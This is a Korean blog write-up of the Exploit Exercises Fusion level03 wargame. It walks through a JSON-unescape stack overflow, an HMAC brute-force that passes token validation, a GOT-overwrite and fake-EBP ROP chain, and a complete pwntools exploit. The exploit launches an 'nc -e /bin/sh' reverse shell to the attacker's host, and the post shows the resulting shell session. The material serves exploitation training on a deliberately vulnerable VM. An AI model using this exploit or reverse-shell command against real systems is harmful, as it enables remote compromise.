wargame - fusion / level03
LEVEL03
level03 이다. 적용된 기법은 아래와 같이 NX 정도이다.
>>> print e.checksec()
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
RPATH: '/opt/fusion/lib'
FORTIFY: Enabled
소스코드를 보면 아래와 같이 토큰을 하나 생성해서 보내고, 입력값을 받는데 이때 토큰값을 검증한다. 그 후에 입력된 주소로 해당 내용을 전송해 준다.
입력값을 받을 때 한가지 특징으로 한번 입력 후 곧바로 close(0,1,2) 를 해주고 있어서 write(4, leak주소, 4) 이런 식의 payload 사용은 어려움. 소켓이 닫혀버리니까
또 한가지 특징으로 입력값 검증을 하는데, 첫번째로 token 이 가장 앞에 있는지 확인한다.
두번째로 해쉬값을 비교하여 처음 두 바이트가 0x00 인지 확인한다.
검증이 끝난 후 json 형식을 파싱해주는 과정에서 취약점이 발생하는데, 해당 부분은 아래 코드이다.
결론부터 말하면 while 구문 내부의 조건식이
1) src 가 널바이트가 아니고
&&
2) dest 가 end 랑 다르면
이기 때문이다. 즉 둘중 하나의 조건만 만족하지 않으면 계속 복사를 하게 된다는 뜻이다.
소스를 보면 "\\u" 가 있으면 dest 를 case '\\' 문에서 한번 증가시키고, 'u' 에서 또 증가시키면서
dest 와 end 가 계속 달라지게 된다. 이로 인해 src 가 널바이트가 될 때까지 계속 복사를 하게 되고
실질적으로 strcpy 처럼 스택을 덮어쓰게 된다.
먼저 validate 함수를 우회하기 위하여 공격 payload 에 임의의 숫자값을 for 문으로 돌려서 0x00, 0x00 이 나오는 해쉬값을 찾도록 해준다.
def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1
다음은 eip 변조 테스트.
buf = "A"*127 + "\\\\ua" + "A"*34 + "BBBB" # 34 + eip
req_col = find_collision(token, buf)
r.send(req_col)
gdb$ --------------------------------------------------------------------------[regs] EAX: 0xFFFFFFFF EBX: 0x41414141 ECX: 0xB7562398 EDX: 0xFFFFFFFF o d I t S z a P c ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFDAB66C EIP: 0x08049E08 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B [0x007B:0xBFDAB66C]------------------------------------------------------[stack] 0xBFDAB6BC : 10 00 00 00 F4 0F 56 B7 - 55 BC 41 B7 19 A2 04 08 ......V.U.A..... 0xBFDAB6AC : 02 00 4E 23 00 00 00 00 - 00 00 00 00 00 00 00 00 ..N#............ 0xBFDAB69C : 02 00 FF C4 C0 A8 E7 01 - 00 00 00 00 00 00 00 00 ................ 0xBFDAB68C : 0B 90 04 08 0D 00 00 00 - 01 00 00 00 FF FF FF FF ................ 0xBFDAB67C : 00 00 00 00 04 00 00 00 - 98 B6 DA BF 02 00 00 00 ................ 0xBFDAB66C : 42 42 42 42 04 00 00 00 - 00 00 00 00 02 00 00 00 BBBB............ --------------------------------------------------------------------------[code] => 0x8049e08 <handle_request+264>: ret 0x8049e09 <handle_request+265>: lea esi,[esi+eiz*1+0x0] 0x8049e10 <handle_request+272>: mov DWORD PTR [esp+0x4ac],0x80 0x8049e1b <handle_request+283>: mov DWORD PTR [esp],ebx 0x8049e1e <handle_request+286>: call 0x8048da0 <json_object_get_string@plt> 0x8049e23 <handle_request+291>: lea edx,[esp+0x4ac] 0x8049e2a <handle_request+298>: mov DWORD PTR [esp+0x8],edx 0x8049e2e <handle_request+302>: lea edx,[esp+0x42c] -------------------------------------------------------------------------------- 0x08049e08 in handle_request () at level03/level03.c:193 193 in level03/level03.c gdb$ --------------------------------------------------------------------------[regs] EAX: 0xFFFFFFFF EBX: 0x41414141 ECX: 0xB7562398 EDX: 0xFFFFFFFF o d I t S z a P c ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFDAB670 EIP: 0x42424242 CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: Cannot access memory at address 0x42424242 0x42424242 in ?? ()
정확하게 0x42424242 로 변조가 되는 것을 확인했다. 이제 ROP 를 하면 되는데.. 널바이트가 들어가면 안되기 때문에 pwntools 를
이용한 rop 는 조금 제약이 있었다.
여러번 삽질 후 세운 payload 는 아래와 같다.
1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)
2) memcpy 로 bss 에 system 인자값 쓰기
memcpy(bss+4,gContents,4) // gContents = 0x804bdf4 => 0x900e5c8 (이중포인터)
3) srand plt(system) 호출
srand@plt(bss+8) // reverse nc command
은 실패했다.
실패한 이유는 gContents 가 이중포인터라 실패.. mov 로 값을 꺼내주려고 하니 마땅한 가젯이 없음..
아래와 같이 leave ret 를 이용한 fake ebp 를 이용하여 공격에 성공했다. stack frame 을 bss 에 다시 구성해주고,
leave 명령을 이용하여 ebp 를 bss 로 변경해준다. 그리고 system 함수로 return 하여 reverse connection 실행!
1) srand got 를 system 함수 주소로 변경(got overwrite, return to plt)
2) memcpy 로 bss 에 srand@plt, command 쓰기
memcpy(bss, srand@plt,4)
memcpy(bss+8, gContents, len(cmd))
3) leave 를 이용하여 fake ebp
ebp 를 미리 조작하고, leave 명령을 이용하여 esp 를 변경, 미리 복사한 bss 영역으로 stack frame 변조
4) srand plt(system) 호출
srand@plt(bss+8) // reverse nc command
아래는 전체 exploit 코드이다. pwntools 를 쓰기 위해 노력했으나(pwntools 연습중이니..) 이번 문제의 경우 수작업 rop
가 필요하여 생각보다 활용도가 낮았다. 다만 e.bss(), e.plt[], e.got[], e.symbols[] 등은 유용했다.
#!/usr/bin/python import hmac import hashlib import json from pwn import * context(arch='i386',os='linux') r = remote("192.168.231.128",20003) e = ELF('../bin/level03') rop = ROP(e) s = ssh(host="192.168.231.128",user="fusion",port=22,password="godmode"
REVERSE_NC = "nc.traditional -e /bin/sh 192.168.231.1 7777"
def find_collision(token, payload): i = 0 while 1: json_req = token + '\n' + '{"c":%d,"title":"%s","contents":"%s","serverip":"192.168.231.1:7777","tags":["tag1","tag2"]}' % (i, payload, REVERSE_NC) tmp_hmac = hmac.new(token,json_req,hashlib.sha1).digest() if tmp_hmac[0:2] == "\x00"*2: log.success("found collision request : %s" % json_req) return json_req break i += 1 log.info("fusion level03 exploit by hyunmini") token = r.recv(1024).strip().strip('"') log.info("get token : %s" % token) # exploit condition # eip control breakpoint : 0x8049e04 <handle_request+260>: # control reg : ebx, esi, edi, ebp buf = "A"*127 + "\\\\ua" + "A"*34 # 34 + eip # srand got =+ system offset (0x9b60) => srand@plt = system() rop = p32(0x08049b4f) # pop eax ; add esp, 0x5c ; ret // eax = 0x9b60 rop += '\\\u609b\\\u0000' rop += "A"*0x5c rop += p32(0x08049a4f) # pop ebx ; ret // ebx rop += p32(e.got['srand'] - 0x5d5b04c4 & 0xffffffff) rop += p32(0x080493fe) # add dword ptr [ebx + 0x5d5b04c4], eax ; ret) # memcpy(bss+4, srand@plt, 4) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss()) rop += p32(e.got['srand']) rop += '\\\u0400\\\u0000' # memcpy(bss+8, gContents, len(cmd)) rop += p32(e.plt['memcpy']) rop += p32(0x8049205) # pppr rop += p32(e.bss(8)) rop += p32(e.symbols['gContents']) rop += '\\\u0400\\\u0000' # fake ebp rop += p32(0x8049205) # pppr rop += p32(e.bss()-4) * 3 rop += p32(0x8049431) # leave, ret payload = buf + rop req_col = find_collision(token, payload) r.send(req_col)
# ./ex3_exploit.py // exploit 성공
hyunmini:solve $ nc -lv 7777
id
uid=20003 gid=20003 groups=20003
uname -a
Linux fusion 3.0.0-13-generic-pae #22-Ubuntu SMP Wed Nov 2 15:17:35 UTC 2011 i686 i686 i386 GNU/Linux
'wargame > exploit exercise - fusion' 카테고리의 다른 글
wargame - fusion / level02 (0) | 2016.12.29 |
---|---|
wargame - fusion / level01 (0) | 2016.12.28 |
wargame - fusion / level00 (2) | 2013.09.23 |